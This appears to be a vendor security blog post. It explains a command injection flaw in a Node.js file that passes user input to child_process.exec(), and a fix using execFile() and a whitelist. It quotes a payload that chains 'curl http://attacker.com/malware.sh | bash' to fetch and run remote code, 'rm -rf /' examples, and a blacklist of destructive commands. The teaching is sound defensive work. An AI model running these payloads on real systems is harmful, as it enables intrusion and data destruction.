How Command Injection via Child Process Happens in Node.js and How to Fix It
Introduction
In the events/console/line.js file of this Node.js application, a high-severity command injection vulnerability was lurking in the way the application executed system commands. The code was using child_process.exec() with user-controlled input, a pattern that security scanners immediately flagged as dangerous. This is a web service—meaning the vulnerability was directly exploitable by remote attackers. The Semgrep static analysis tool detected this issue and the development team responded with a comprehensive hardening fix that transforms the vulnerable code into a secure implementation.
This vulnerability represents a classic OS command injection flaw (CWE-78) that could have allowed attackers to execute arbitrary system commands with the privileges of the Node.js process. Let's examine what went wrong, how it was exploited, and how the fix prevents future attacks.
The Vulnerability Explained
The Original Vulnerable Code
Before the fix, events/console/line.js contained this pattern:
const { exec } = require("child_process");
const blockedCommands = ["rm", "chmod", "sudo", "su", "reboot", "shutdown", "poweroff", "halt", "dd", "mkfs", "mount", "umount"];
// Vulnerable code - exec() with user input
exec(`${file}`);
The vulnerability exists at line 70 (as reported by Semgrep). Here's what makes this dangerous:
exec()invokes a shell: Thechild_process.exec()function spawns a/bin/shprocess and passes the command string to the shell for interpretation.- Shell metacharacters are interpreted: Special characters like
;,|,&&,||,$(), backticks, etc., are processed by the shell as command separators and substitution operators. - User input flows directly to exec(): The
fileparameter is passed directly into the exec() call without validation or escaping. - Blacklist is insufficient: The code attempts to block dangerous commands like
rm,sudo, andreboot, but blacklists are inherently incomplete and can be bypassed.
Attack Scenario
Imagine an attacker sends a request to this web service with the following payload:
file=ls; curl http://attacker.com/malware.sh | bash
When this reaches the vulnerable code:
exec(`${file}`); // Expands to: exec("ls; curl http://attacker.com/malware.sh | bash");
The shell interprets this as two separate commands:
1. ls — executes normally
2. curl http://attacker.com/malware.sh | bash — downloads and executes a malicious script
The attacker has achieved remote code execution (RCE) without triggering any of the blacklist checks, because the dangerous command (curl and bash) comes after the semicolon, which the blacklist logic never validates.
Real-World Impact
For a web service, this vulnerability means:
- Data breach: Attackers can read sensitive files, environment variables, database credentials
- System compromise: Attackers can install backdoors, cryptocurrency miners, or ransomware
- Lateral movement: Attackers can pivot to other systems on the network
- Denial of service: Attackers can crash the application or consume resources
The Fix
What Changed
The fix involved replacing the dangerous exec() function with execFile() and implementing a multi-layered defense strategy:
Before (Vulnerable):
const { exec } = require("child_process");
const blockedCommands = ["rm", "chmod", "sudo", "su", "reboot", "shutdown", "poweroff", "halt", "dd", "mkfs", "mount", "umount"];
exec(`${file}`);
After (Secure):
const { execFile } = require("child_process");
// Only allow harmless, read-only system commands.
// Do NOT allow shells/interpreters or commands capable of modifying the system.
const SAFE_COMMANDS = new Set([
"ls",
"pwd",
"whoami",
"uname",
"df",
"free",
"uptime",
]);
const MAX_ARGS = 32;
const MAX_ARG_LENGTH = 256;
const EXEC_TIMEOUT = 10_000;
const MAX_BUFFER = 1024 * 1024;
/**
* Execute a safe system command.
*
* IMPORTANT:
* - The executable is always hard-coded.
* - User input is used only as arguments.
* - execFile() does not invoke a shell.
* - Dangerous executables such as sh, bash, node, python, rm, sudo, etc.
* are intentionally unavailable.
*/
const executeSafeCommand = (command, args) => {
if (!SAFE_COMMANDS.has(command)) {
console.log(`🚫 Lệnh "${command}" không được phép!`);
return;
}
if (args.length > MAX_ARGS) {
// Validation logic continues...
}
// ... more validation
};
Key Security Improvements
1. Replace exec() with execFile()
exec()spawns a shell and interprets the entire command string as shell syntaxexecFile()directly executes a binary without invoking a shell, making shell metacharacters harmless
// DANGEROUS - shell interprets metacharacters
exec("ls; rm -rf /"); // Executes TWO commands
// SAFE - execFile() treats arguments as data, not commands
execFile("ls", ["; rm -rf /"]); // Executes ls with literal argument "; rm -rf /"
2. Whitelist Instead of Blacklist
The fix replaces the incomplete blacklist with a strict whitelist:
// OLD: Blacklist (incomplete, bypassable)
const blockedCommands = ["rm", "chmod", "sudo", "su", ...];
// NEW: Whitelist (complete, explicit)
const SAFE_COMMANDS = new Set(["ls", "pwd", "whoami", "uname", "df", "free", "uptime"]);
Every command must be explicitly approved. Unknown commands are rejected immediately.
3. Validate Argument Count and Length
const MAX_ARGS = 32; // No more than 32 arguments
const MAX_ARG_LENGTH = 256; // No argument longer than 256 characters
const EXEC_TIMEOUT = 10_000; // Kill processes that run too long
const MAX_BUFFER = 1024 * 1024; // Cap output to 1MB
These limits prevent:
- Argument injection: Attackers can't sneak extra arguments into the command
- Buffer exhaustion: Attackers can't cause memory exhaustion via huge output
- Timeout attacks: Attackers can't hang the process indefinitely
4. Separate Command from Arguments
// User input is ONLY used for arguments, never for the command name
executeSafeCommand(command, args); // command is from whitelist, args are validated
This is the fundamental principle: the executable is hard-coded and trusted; only arguments come from user input.
Why Each Change Was Necessary
| Change | Why It's Critical |
|---|---|
exec() → execFile() |
Eliminates shell interpretation entirely |
| Blacklist → Whitelist | Ensures only intended commands run |
| Argument validation | Prevents injection through arguments |
| Timeout + buffer limits | Prevents DoS and resource exhaustion |
| Separate command/args | Ensures command cannot be user-controlled |
Prevention & Best Practices
1. Never Use exec() with User Input
// ❌ DANGEROUS
const userInput = req.query.file;
exec(userInput);
// ✅ SAFE
const SAFE_COMMANDS = new Set(["ls", "pwd"]);
if (SAFE_COMMANDS.has(userInput)) {
execFile(userInput, []);
}
2. Use execFile() or spawn() Instead of exec()
// ❌ DANGEROUS - shell interprets input
exec(`ls ${userInput}`);
// ✅ SAFE - arguments are passed as data
execFile("ls", [userInput]);
3. Implement a Whitelist of Allowed Commands
const ALLOWED_COMMANDS = new Set(["ls", "pwd", "whoami"]);
function runCommand(cmd, args) {
if (!ALLOWED_COMMANDS.has(cmd)) {
throw new Error(`Command not allowed: ${cmd}`);
}
return execFile(cmd, args);
}
4. Validate All Arguments
function validateArgs(args) {
if (args.length > MAX_ARGS) throw new Error("Too many arguments");
for (const arg of args) {
if (arg.length > MAX_ARG_LENGTH) throw new Error("Argument too long");
if (!/^[\w\-\.\/]*$/.test(arg)) throw new Error("Invalid characters in argument");
}
}
5. Use Static Analysis Tools
Enable Semgrep or similar tools in your CI/CD pipeline:
semgrep --config=p/security-audit --json events/console/line.js
This catches command injection patterns before they reach production.
6. Reference OWASP Guidelines
- OWASP A03:2021 – Injection: Covers OS command injection prevention
- OWASP Command Injection Cheat Sheet: Provides detailed mitigation strategies
Key Takeaways
-
Never use
child_process.exec()with user input. Even with a blacklist, shell metacharacters enable bypasses. UseexecFile()instead. -
The
fileparameter in line 70 was the injection point. User-controlled input flowing directly toexec()without sanitization is the root cause of this vulnerability. -
Whitelists are mandatory for command execution. The original blacklist of 8 commands was incomplete; the fix uses a whitelist of 7 safe, read-only commands that can never modify the system.
-
execFile()doesn't invoke a shell, making shell metacharacters harmless. Even if an attacker injects; rm -rf /, it's treated as a literal argument string, not a command separator. -
Argument validation (count, length, character set) adds defense-in-depth. The fix enforces MAX_ARGS=32 and MAX_ARG_LENGTH=256, preventing injection through argument manipulation.
How Orbis AppSec Detected This
Source: The file parameter passed to the executeSafeCommand() function in events/console/line.js, which originates from user-controlled HTTP request data.
Sink: The child_process.exec() call at line 70 in events/console/line.js, where the unsanitized input is executed as a system command.
Missing Control: No validation of the file parameter; no sanitization; no whitelist of allowed commands; use of exec() instead of the safer execFile() API.
CWE: CWE-78 – Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Fix: Replaced child_process.exec() with execFile(), implemented a strict whitelist of safe commands, and added comprehensive argument validation (count, length, timeout, buffer limits).
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
Command injection vulnerabilities in Node.js applications are critical because they grant attackers direct execution of arbitrary system commands. The vulnerability in events/console/line.js demonstrates how a seemingly small decision—using exec() instead of execFile()—can introduce a severe security flaw.
The fix exemplifies defense-in-depth: it eliminates the dangerous API, implements a strict whitelist, validates all inputs, and limits resource consumption. By replacing exec() with execFile(), developers ensure that shell metacharacters are treated as literal data rather than command separators. By maintaining a whitelist of safe commands, they ensure that only intended operations can run.
As developers, we must remember:
- Assume all user input is malicious until proven otherwise
- Use the safest API available (execFile over exec)
- Whitelist, don't blacklist when restricting operations
- Validate rigorously (arguments, lengths, timeouts)
- Use static analysis to catch these patterns before deployment
Proactive security fixes like this one remove exploit primitives that could be chained with other weaknesses by increasingly capable automated attack tools. By adopting these practices in your own code, you'll build more resilient applications.